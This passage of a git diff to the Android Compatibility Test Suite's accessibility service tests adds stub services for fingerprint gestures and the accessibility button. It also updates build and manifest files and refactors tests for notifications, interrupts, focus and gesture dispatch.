+        sConnectedInstance = null;
+    }
+
+
+    @Override
+    protected void onServiceConnected() {
+        synchronized (sWaitObjectForConnecting) {
+            sConnectedInstance = this;
+            sWaitObjectForConnecting.notifyAll();
+        }
+    }
+
+    @Override
+    public void onAccessibilityEvent(AccessibilityEvent event) {
+    }
+
+    @Override
+    public void onInterrupt() {
+    }
+}
diff --git a/tests/accessibilityservice/Android.mk b/tests/accessibilityservice/Android.mk
index 54557ee..62f2e57 100644
--- a/tests/accessibilityservice/Android.mk
+++ b/tests/accessibilityservice/Android.mk
@@ -18,10 +18,7 @@
 
 LOCAL_MODULE_TAGS := optional
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-	ctstestrunner \
-	mockito-target \
-	legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner mockito-target-minus-junit4
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index e13cdee..a036819 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -20,6 +20,7 @@
 
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
+    <uses-permission android:name="android.permission.USE_FINGERPRINT" />
 
     <application android:theme="@android:style/Theme.Holo.NoActionBar">
 
@@ -31,7 +32,8 @@
 
         <activity
             android:label="@string/accessibility_query_window_test_activity"
-            android:name=".AccessibilityWindowQueryActivity" />
+            android:name=".AccessibilityWindowQueryActivity"
+            android:supportsPictureInPicture="true" />
 
         <activity
             android:label="@string/accessibility_view_tree_reporting_test_activity"
@@ -95,6 +97,32 @@
                 android:resource="@xml/stub_magnification_a11y_service" />
         </service>
 
+        <service
+            android:name=".StubFingerprintGestureService"
+            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+            <intent-filter>
+                <action android:name="android.accessibilityservice.AccessibilityService" />
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+            </intent-filter>
+
+            <meta-data
+                    android:name="android.accessibilityservice"
+                    android:resource="@xml/stub_fingerprint_gesture_service" />
+        </service>
+
+        <service
+            android:name=".StubAccessibilityButtonService"
+            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+            <intent-filter>
+                <action android:name="android.accessibilityservice.AccessibilityService" />
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+            </intent-filter>
+
+            <meta-data
+                android:name="android.accessibilityservice"
+                android:resource="@xml/stub_accessibility_button_service" />
+        </service>
+
     </application>
 
     <instrumentation
diff --git a/tests/accessibilityservice/AndroidTest.xml b/tests/accessibilityservice/AndroidTest.xml
index b2cb477..6edfe8d 100644
--- a/tests/accessibilityservice/AndroidTest.xml
+++ b/tests/accessibilityservice/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS accessibility service test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAccessibilityServiceTestCases.apk" />
     </target_preparer>
diff --git a/tests/accessibilityservice/res/values/strings.xml b/tests/accessibilityservice/res/values/strings.xml
index 7c9547c..3a6b855 100644
--- a/tests/accessibilityservice/res/values/strings.xml
+++ b/tests/accessibilityservice/res/values/strings.xml
@@ -141,6 +141,10 @@
 
     <string name="stub_gesture_a11y_service_description">com.android.accessibilityservice.cts.StubGestureAccessibilityService</string>
 
+    <string name="stub_fprint_a11y_service_description">com.android.accessibilityservice.cts.StubFingerprintGestureAccessibilityService</string>
+
+    <string name="stub_accessibility_button_service_description">com.android.accessibilityservice.cts.StubAccessibilityButtonService</string>
+
     <string name="android_wiki_paragraphs">
         \n\nAndroid is a\n\n It is developed\n The
         unveiling\n\n</string>
diff --git a/tests/accessibilityservice/res/xml/stub_accessibility_button_service.xml b/tests/accessibilityservice/res/xml/stub_accessibility_button_service.xml
new file mode 100644
index 0000000..cbf6e7e
--- /dev/null
+++ b/tests/accessibilityservice/res/xml/stub_accessibility_button_service.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
+                       android:description="@string/stub_accessibility_button_service_description"
+                       android:accessibilityEventTypes="typeAllMask"
+                       android:accessibilityFeedbackType="feedbackGeneric"
+                       android:accessibilityFlags="flagRequestAccessibilityButton"
+                       android:notificationTimeout="0" />
\ No newline at end of file
diff --git a/tests/accessibilityservice/res/xml/stub_fingerprint_gesture_service.xml b/tests/accessibilityservice/res/xml/stub_fingerprint_gesture_service.xml
new file mode 100644
index 0000000..02ad87a
--- /dev/null
+++ b/tests/accessibilityservice/res/xml/stub_fingerprint_gesture_service.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
+                       android:description="@string/stub_fprint_a11y_service_description"
+                       android:accessibilityEventTypes="typeAllMask"
+                       android:accessibilityFeedbackType="feedbackGeneric"
+                       android:accessibilityFlags="flagRequestFingerprintGestures"
+                       android:canRequestFingerprintGestures="true"
+                       android:notificationTimeout="0" />
\ No newline at end of file
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityActivityTestCase.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityActivityTestCase.java
index c121071..282e624 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityActivityTestCase.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityActivityTestCase.java
@@ -21,7 +21,10 @@
 import android.app.UiAutomation;
 import android.test.ActivityInstrumentationTestCase2;
 import android.view.accessibility.AccessibilityEvent;
+import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityWindowInfo;
 
+import java.util.List;
 import java.util.concurrent.TimeoutException;
 
 /**
@@ -53,6 +56,7 @@
 
         AccessibilityServiceInfo info = getInstrumentation().getUiAutomation().getServiceInfo();
         info.flags |= AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE;
+        info.flags |= AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
         info.flags &= ~AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS;
         getInstrumentation().getUiAutomation().setServiceInfo(info);
 
@@ -96,13 +100,18 @@
                 new UiAutomation.AccessibilityEventFilter() {
             @Override
             public boolean accept(AccessibilityEvent event) {
-                final int eventType = event.getEventType();
-                // Do not check the package name since an event of this type may
-                // come concurrently from the app and from the IME (since input
-                // focus goes to the first focusable) but we dispatch one event
-                // of each type within a timeout. Hence, sometimes the window
-                // change event from the IME may override the one from the app.
-                return (eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED);
+                List<AccessibilityWindowInfo> windows = getInstrumentation().getUiAutomation()
+                        .getWindows();
+                // Wait for a window state changed event with our window showing
+                for (int i = 0; i < windows.size(); i++) {
+                    AccessibilityNodeInfo root = windows.get(i).getRoot();
+                    if ((root != null) &&
+                            root.getPackageName().equals(getActivity().getPackageName())) {
+                        return (event.getEventType()
+                                == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED);
+                    }
+                }
+                return false;
             }
         },
         TIMEOUT_ASYNC_PROCESSING);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityButtonTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityButtonTest.java
new file mode 100644
index 0000000..8521a56
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityButtonTest.java
@@ -0,0 +1,70 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
+ * express or implied. See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import android.accessibilityservice.AccessibilityButtonController;
+import android.app.Instrumentation;
+import android.os.Looper;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test cases for accessibility service APIs related to the accessibility button within
+ * software-rendered navigation bars.
+ *
+ * TODO: Extend coverage with a more precise signal if a device is compatible with the button
+ */
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityButtonTest {
+
+    private StubAccessibilityButtonService mService;
+    private AccessibilityButtonController mButtonController;
+    private AccessibilityButtonController.AccessibilityButtonCallback mStubCallback =
+            new AccessibilityButtonController.AccessibilityButtonCallback() {
+        @Override
+        public void onClicked(AccessibilityButtonController controller) {
+            /* do nothing */
+        }
+
+        @Override
+        public void onAvailabilityChanged(AccessibilityButtonController controller,
+                boolean available) {
+            /* do nothing */
+        }
+    };
+
+    @Before
+    public void setUp() {
+        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        mService = StubAccessibilityButtonService.enableSelf(instrumentation);
+        mButtonController = mService.getAccessibilityButtonController();
+    }
+
+    @After
+    public void tearDown() {
+        mService.runOnServiceSync(() -> mService.disableSelf());
+    }
+
+    @Test
+    public void testCallbackRegistrationUnregistration_serviceDoesNotCrash() {
+        mButtonController.registerAccessibilityButtonCallback(mStubCallback);
+        mButtonController.unregisterAccessibilityButtonCallback(mStubCallback);
+    }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index a94345c..b14b76a 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -19,6 +19,7 @@
 import android.app.Activity;
 import android.app.AlertDialog;
 import android.app.Notification;
+import android.app.NotificationChannel;
 import android.app.NotificationManager;
 import android.app.PendingIntent;
 import android.app.Service;
@@ -30,6 +31,7 @@
 import android.text.TextUtils;
 import android.util.Log;
 import android.view.accessibility.AccessibilityEvent;
+import android.view.accessibility.AccessibilityManager;
 import android.widget.Button;
 import android.widget.EditText;
 import android.widget.ListView;
@@ -330,65 +332,102 @@
 
         String message = getActivity().getString(R.string.notification_message);
 
-        // create the notification to send
-        final int notificationId = 1;
-        final Notification notification = new Notification.Builder(getActivity())
-                .setSmallIcon(android.R.drawable.stat_notify_call_mute)
-                .setContentIntent(PendingIntent.getActivity(getActivity(), 0, new Intent(),
-                        PendingIntent.FLAG_CANCEL_CURRENT))
-                .setTicker(message)
-                .setContentTitle("")
-                .setContentText("")
-                .setPriority(Notification.PRIORITY_MAX)
-                // Mark the notification as "interruptive" by specifying a vibration pattern. This
-                // ensures it's announced properly on watch-type devices.
-                .setVibrate(new long[] {})
-                .build();
-
-        // create and populate the expected event
-        final AccessibilityEvent expected = AccessibilityEvent.obtain();
-        expected.setEventType(AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED);
-        expected.setClassName(Notification.class.getName());
-        expected.setPackageName(getActivity().getPackageName());
-        expected.getText().add(message);
-        expected.setParcelableData(notification);
-
-        AccessibilityEvent awaitedEvent;
-        NotificationManager notificationManager =
+        final NotificationManager notificationManager =
                 (NotificationManager) getActivity().getSystemService(Service.NOTIFICATION_SERVICE);
+        final NotificationChannel channel =
+                new NotificationChannel("id", "name", NotificationManager.IMPORTANCE_DEFAULT);
         try {
-            awaitedEvent = getInstrumentation().getUiAutomation().executeAndWaitForEvent(
-                    new Runnable() {
-                @Override
-                public void run() {
-                    // trigger the event
-                    getActivity().runOnUiThread(new Runnable() {
-                        @Override
-                        public void run() {
-                            // trigger the event
-                            notificationManager.notify(notificationId, notification);
-                        }
-                    });
-                }},
-                new UiAutomation.AccessibilityEventFilter() {
-                    // check the received event
-                    @Override
-                    public boolean accept(AccessibilityEvent event) {
-                        return equalsAccessiblityEvent(event, expected);
-                    }
-                },
-                TIMEOUT_ASYNC_PROCESSING);
-        } finally {
-            getActivity().runOnUiThread(new Runnable() {
-                @Override
-                public void run() {
-                    notificationManager.cancel(notificationId);
-                    getActivity().finish();
-                }
-            });
-        }
+            // create the notification to send
+            channel.enableVibration(true);
+            channel.enableLights(true);
+            channel.setBypassDnd(true);
+            notificationManager.createNotificationChannel(channel);
+            NotificationChannel created =
+                    notificationManager.getNotificationChannel(channel.getId());
+            final int notificationId = 1;
+            final Notification notification =
+                    new Notification.Builder(getActivity(), channel.getId())
+                            .setSmallIcon(android.R.drawable.stat_notify_call_mute)
+                            .setContentIntent(PendingIntent.getActivity(getActivity(), 0,
+                                    new Intent(),
+                                    PendingIntent.FLAG_CANCEL_CURRENT))
+                            .setTicker(message)
+                            .setContentTitle("")
+                            .setContentText("")
+                            .setPriority(Notification.PRIORITY_MAX)
+                            // Mark the notification as "interruptive" by specifying a vibration
+                            // pattern. This ensures it's announced properly on watch-type devices.
+                            .setVibrate(new long[]{})
+                            .build();
 
-        assertNotNull("Did not receive expected event: " + expected, awaitedEvent);
+            // create and populate the expected event
+            final AccessibilityEvent expected = AccessibilityEvent.obtain();
+            expected.setEventType(AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED);
+            expected.setClassName(Notification.class.getName());
+            expected.setPackageName(getActivity().getPackageName());
+            expected.getText().add(message);
+            expected.setParcelableData(notification);
+
+            AccessibilityEvent awaitedEvent =
+                    getInstrumentation().getUiAutomation().executeAndWaitForEvent(
+                            new Runnable() {
+                                @Override
+                                public void run() {
+                                    // trigger the event
+                                    getActivity().runOnUiThread(new Runnable() {
+                                        @Override
+                                        public void run() {
+                                            // trigger the event
+                                            notificationManager
+                                                    .notify(notificationId, notification);
+                                            getActivity().finish();
+                                        }
+                                    });
+                                }
+                            },
+                            new UiAutomation.AccessibilityEventFilter() {
+                                // check the received event
+                                @Override
+                                public boolean accept(AccessibilityEvent event) {
+                                    return equalsAccessiblityEvent(event, expected);
+                                }
+                            },
+                            TIMEOUT_ASYNC_PROCESSING);
+            assertNotNull("Did not receive expected event: " + expected, awaitedEvent);
+        } finally {
+            notificationManager.deleteNotificationChannel(channel.getId());
+        }
+    }
+
+    @MediumTest
+    public void testInterrupt_notifiesService() {
+        getInstrumentation()
+                .getUiAutomation(UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+        InstrumentedAccessibilityService service = InstrumentedAccessibilityService.enableService(
+                getInstrumentation(), InstrumentedAccessibilityService.class);
+        try {
+            assertFalse(service.wasOnInterruptCalled());
+
+            getActivity().runOnUiThread(() -> {
+                AccessibilityManager accessibilityManager = (AccessibilityManager) getActivity()
+                        .getSystemService(Service.ACCESSIBILITY_SERVICE);
+                accessibilityManager.interrupt();
+            });
+
+            Object waitObject = service.getInterruptWaitObject();
+            synchronized (waitObject) {
+                if (!service.wasOnInterruptCalled()) {
+                    try {
+                        waitObject.wait(TIMEOUT_ASYNC_PROCESSING);
+                    } catch (InterruptedException e) {
+                        // Do nothing
+                    }
+                }
+            }
+            assertTrue(service.wasOnInterruptCalled());
+        } finally {
+            service.disableSelfAndRemove();
+        }
     }
 
     /**
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java
new file mode 100644
index 0000000..3eebff9
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java
@@ -0,0 +1,109 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
+ * express or implied. See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import android.accessibilityservice.FingerprintGestureController;
+import android.accessibilityservice.FingerprintGestureController.FingerprintGestureCallback;
+import android.app.Instrumentation;
+import android.hardware.fingerprint.FingerprintManager;
+import android.os.CancellationSignal;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.MockitoAnnotations;
+
+import static android.content.pm.PackageManager.FEATURE_FINGERPRINT;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+/**
+ * Verify that a service listening for fingerprint gestures gets called back when apps
+ * use the fingerprint sensor to authenticate.
+ */
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityFingerprintGestureTest {
+    private static final int FINGERPRINT_CALLBACK_TIMEOUT = 3000;
+
+    boolean mIsHardwareAvailable;
+    FingerprintManager mFingerprintManager;
+    StubFingerprintGestureService mFingerprintGestureService;
+    FingerprintGestureController mFingerprintGestureController;
+    CancellationSignal mCancellationSignal = new CancellationSignal();
+
+    @Mock FingerprintManager.AuthenticationCallback mMockAuthenticationCallback;
+    @Mock FingerprintGestureCallback mMockFingerprintGestureCallback;
+
+    @Before
+    public void setUp() {
+        MockitoAnnotations.initMocks(this);
+        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        mFingerprintManager = instrumentation.getContext().getPackageManager()
+                .hasSystemFeature(FEATURE_FINGERPRINT)
+                ? instrumentation.getContext().getSystemService(FingerprintManager.class) : null;
+        mFingerprintGestureService = StubFingerprintGestureService.enableSelf(instrumentation);
+        mIsHardwareAvailable = (mFingerprintManager == null) ? false :
+                mFingerprintManager.isHardwareDetected();
+        mFingerprintGestureController =
+                mFingerprintGestureService.getFingerprintGestureController();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mFingerprintGestureService.runOnServiceSync(() -> mFingerprintGestureService.disableSelf());
+    }
+
+    @Test
+    public void testGestureDetectionAvailable_initialState_shouldBeAvailable() {
+        assertEquals(mIsHardwareAvailable,
+                mFingerprintGestureController.isGestureDetectionAvailable());
+    }
+
+    @Test
+    public void testGestureDetectionListener_whenAuthenticationStartsAndStops_calledBack() {
+        if (!mIsHardwareAvailable) {
+            return;
+        }
+        mFingerprintGestureController.registerFingerprintGestureCallback(
+                mMockFingerprintGestureCallback, null);
+        try {
+            mFingerprintManager.authenticate(
+                    null, mCancellationSignal, 0, mMockAuthenticationCallback, null);
+
+            verify(mMockFingerprintGestureCallback,
+                    timeout(FINGERPRINT_CALLBACK_TIMEOUT).atLeastOnce())
+                    .onGestureDetectionAvailabilityChanged(false);
+            assertFalse(mFingerprintGestureController.isGestureDetectionAvailable());
+            reset(mMockFingerprintGestureCallback);
+        } finally {
+            mCancellationSignal.cancel();
+        }
+        verify(mMockFingerprintGestureCallback, timeout(FINGERPRINT_CALLBACK_TIMEOUT).atLeastOnce())
+                .onGestureDetectionAvailabilityChanged(true);
+        assertTrue(mFingerprintGestureController.isGestureDetectionAvailable());
+        mFingerprintGestureController.unregisterFingerprintGestureCallback(
+                mMockFingerprintGestureCallback);
+    }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
index ec420de..08e231f 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
@@ -42,6 +42,9 @@
 
     @MediumTest
     public void testFindAccessibilityFocus() throws Exception {
+        getInstrumentation().runOnMainSync(() -> {
+            getActivity().findViewById(R.id.firstEditText).requestFocus();
+        });
         // Get the view that has input and accessibility focus.
         final AccessibilityNodeInfo expected = getInstrumentation().getUiAutomation()
                 .getRootInActiveWindow().findAccessibilityNodeInfosByText(
@@ -166,7 +169,6 @@
                         getString(R.string.firstEditText)).get(0);
         assertNotNull(firstEditText);
         assertTrue(firstEditText.isFocusable());
-        assertTrue(firstEditText.isFocused());
         assertFalse(firstEditText.isAccessibilityFocused());
 
         getInstrumentation().getUiAutomation().executeAndWaitForEvent(new Runnable() {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
index 8dbbeef..dbf393b 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
@@ -14,12 +14,22 @@
 
 package android.accessibilityservice.cts;
 
+import static org.hamcrest.CoreMatchers.allOf;
+import static org.hamcrest.CoreMatchers.any;
+import static org.hamcrest.CoreMatchers.both;
+import static org.hamcrest.CoreMatchers.everyItem;
+import static org.hamcrest.CoreMatchers.hasItem;
+import static org.hamcrest.MatcherAssert.assertThat;
+
 import android.accessibilityservice.AccessibilityService;
 import android.accessibilityservice.GestureDescription;
+import android.accessibilityservice.GestureDescription.StrokeDescription;
+import android.content.Context;
 import android.content.pm.PackageManager;
-import android.content.res.Resources;
 import android.graphics.Matrix;
 import android.graphics.Path;
+import android.graphics.Point;
+import android.graphics.PointF;
 import android.graphics.Rect;
 import android.os.Bundle;
 import android.os.SystemClock;
@@ -28,7 +38,11 @@
 import android.view.MotionEvent;
 import android.view.View;
 import android.view.ViewConfiguration;
+import android.view.WindowManager;
 import android.widget.TextView;
+import org.hamcrest.Description;
+import org.hamcrest.Matcher;
+import org.hamcrest.TypeSafeMatcher;
 
 import java.util.ArrayList;
 import java.util.List;
@@ -42,6 +56,20 @@
     private static final int GESTURE_COMPLETION_TIMEOUT = 5000; // millis
     private static final int MOTION_EVENT_TIMEOUT = 1000; // millis
 
+    private static final Matcher<MotionEvent> IS_ACTION_DOWN =
+            new MotionEventActionMatcher(MotionEvent.ACTION_DOWN);
+    private static final Matcher<MotionEvent> IS_ACTION_POINTER_DOWN =
+            new MotionEventActionMatcher(MotionEvent.ACTION_POINTER_DOWN);
+    private static final Matcher<MotionEvent> IS_ACTION_UP =
+            new MotionEventActionMatcher(MotionEvent.ACTION_UP);
+    private static final Matcher<MotionEvent> IS_ACTION_POINTER_UP =
+            new MotionEventActionMatcher(MotionEvent.ACTION_POINTER_UP);
+    private static final Matcher<MotionEvent> IS_ACTION_CANCEL =
+            new MotionEventActionMatcher(MotionEvent.ACTION_CANCEL);
+    private static final Matcher<MotionEvent> IS_ACTION_MOVE =
+            new MotionEventActionMatcher(MotionEvent.ACTION_MOVE);
+
+
     final List<MotionEvent> mMotionEvents = new ArrayList<>();
     StubGestureAccessibilityService mService;
     MyTouchListener mMyTouchListener = new MyTouchListener();
@@ -60,7 +88,6 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
-
         PackageManager pm = getInstrumentation().getContext().getPackageManager();
         mHasTouchScreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
                 || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
@@ -78,7 +105,7 @@
             mFullScreenTextView.setOnTouchListener(mMyTouchListener);
         });
 
-        mService = StubGestureAccessibilityService.enableSelf(this);
+        mService = StubGestureAccessibilityService.enableSelf(getInstrumentation());
 
         mMotionEvents.clear();
         mCallback = new MyGestureCallback();
@@ -100,20 +127,19 @@
             return;
         }
 
-        final int clickXInsideView = 10;
-        final int clickYInsideView = 20;
-        int clickX = clickXInsideView + mViewBounds.left;
-        int clickY = clickYInsideView + mViewBounds.top;
-        GestureDescription click = createClick(clickX, clickY);
+        Point clickPoint = new Point(10, 20);
+        GestureDescription click = createClickInViewBounds(clickPoint);
         mService.runOnServiceSync(() -> mService.doDispatchGesture(click, mCallback, null));
         mCallback.assertGestureCompletes(GESTURE_COMPLETION_TIMEOUT);
-        waitForMotionEvents(2);
+        waitForMotionEvents(any(MotionEvent.class), 2);
 
         assertEquals(2, mMotionEvents.size());
         MotionEvent clickDown = mMotionEvents.get(0);
         MotionEvent clickUp = mMotionEvents.get(1);
+        assertThat(clickDown, both(IS_ACTION_DOWN).and(isAtPoint(clickPoint)));
+        assertThat(clickUp, both(IS_ACTION_UP).and(isAtPoint(clickPoint)));
 
-        assertEquals(MotionEvent.ACTION_DOWN, clickDown.getActionMasked());
+        // Verify other MotionEvent fields in this test to make sure they get initialized.
         assertEquals(0, clickDown.getActionIndex());
         assertEquals(0, clickDown.getDeviceId());
         assertEquals(0, clickDown.getEdgeFlags());
@@ -121,18 +147,14 @@
         assertEquals(1F, clickDown.getYPrecision());
         assertEquals(1, clickDown.getPointerCount());
         assertEquals(1F, clickDown.getPressure());
-        assertEquals((float) clickXInsideView, clickDown.getX());
-        assertEquals((float) clickYInsideView, clickDown.getY());
-        assertEquals(clickDown.getDownTime(), clickDown.getEventTime());
 
-        assertEquals(MotionEvent.ACTION_UP, clickUp.getActionMasked());
+        // Verify timing matches click
+        assertEquals(clickDown.getDownTime(), clickDown.getEventTime());
         assertEquals(clickDown.getDownTime(), clickUp.getDownTime());
         assertEquals(ViewConfiguration.getTapTimeout(),
                 clickUp.getEventTime() - clickUp.getDownTime());
         assertTrue(clickDown.getEventTime() + ViewConfiguration.getLongPressTimeout()
                 > clickUp.getEventTime());
-        assertEquals((float) clickXInsideView, clickUp.getX());
-        assertEquals((float) clickYInsideView, clickUp.getY());
     }
 
     public void testLongClickAt_producesEventsWithLongClickTiming() throws InterruptedException {
@@ -140,30 +162,21 @@
             return;
         }
 
-        final int clickXInsideView = 10;
-        final int clickYInsideView = 20;
-        int clickX = clickXInsideView + mViewBounds.left;
-        int clickY = clickYInsideView + mViewBounds.top;
-        GestureDescription longClick = createLongClick(clickX, clickY);
+        Point clickPoint = new Point(10, 20);
+        GestureDescription longClick = createLongClickInViewBounds(clickPoint);
         mService.runOnServiceSync(() -> mService.doDispatchGesture(longClick, mCallback, null));
         mCallback.assertGestureCompletes(
                 ViewConfiguration.getLongPressTimeout() + GESTURE_COMPLETION_TIMEOUT);
 
-        waitForMotionEvents(2);
+        waitForMotionEvents(any(MotionEvent.class), 2);
         MotionEvent clickDown = mMotionEvents.get(0);
         MotionEvent clickUp = mMotionEvents.get(1);
+        assertThat(clickDown, both(IS_ACTION_DOWN).and(isAtPoint(clickPoint)));
+        assertThat(clickUp, both(IS_ACTION_UP).and(isAtPoint(clickPoint)));
 
-        assertEquals(MotionEvent.ACTION_DOWN, clickDown.getActionMasked());
-
-        assertEquals((float) clickXInsideView, clickDown.getX());
-        assertEquals((float) clickYInsideView, clickDown.getY());
-
-        assertEquals(MotionEvent.ACTION_UP, clickUp.getActionMasked());
         assertTrue(clickDown.getEventTime() + ViewConfiguration.getLongPressTimeout()
                 <= clickUp.getEventTime());
         assertEquals(clickDown.getDownTime(), clickUp.getDownTime());
-        assertEquals((float) clickXInsideView, clickUp.getX());
-        assertEquals((float) clickYInsideView, clickUp.getY());
     }
 
     public void testSwipe_shouldContainPointsInALine() throws InterruptedException {
@@ -171,45 +184,34 @@
             return;
         }
 
-        int startXInsideView = 10;
-        int startYInsideView = 20;
-        int endXInsideView = 20;
-        int endYInsideView = 40;
-        int startX = startXInsideView + mViewBounds.left;
-        int startY = startYInsideView + mViewBounds.top;
-        int endX = endXInsideView + mViewBounds.left;
-        int endY = endYInsideView + mViewBounds.top;
+        Point startPoint = new Point(10, 20);
+        Point endPoint = new Point(20, 40);
         int gestureTime = 500;
-        float swipeTolerance = 2.0f;
 
-        GestureDescription swipe = createSwipe(startX, startY, endX, endY, gestureTime);
+        GestureDescription swipe = createSwipeInViewBounds(startPoint, endPoint, gestureTime);
         mService.runOnServiceSync(() -> mService.doDispatchGesture(swipe, mCallback, null));
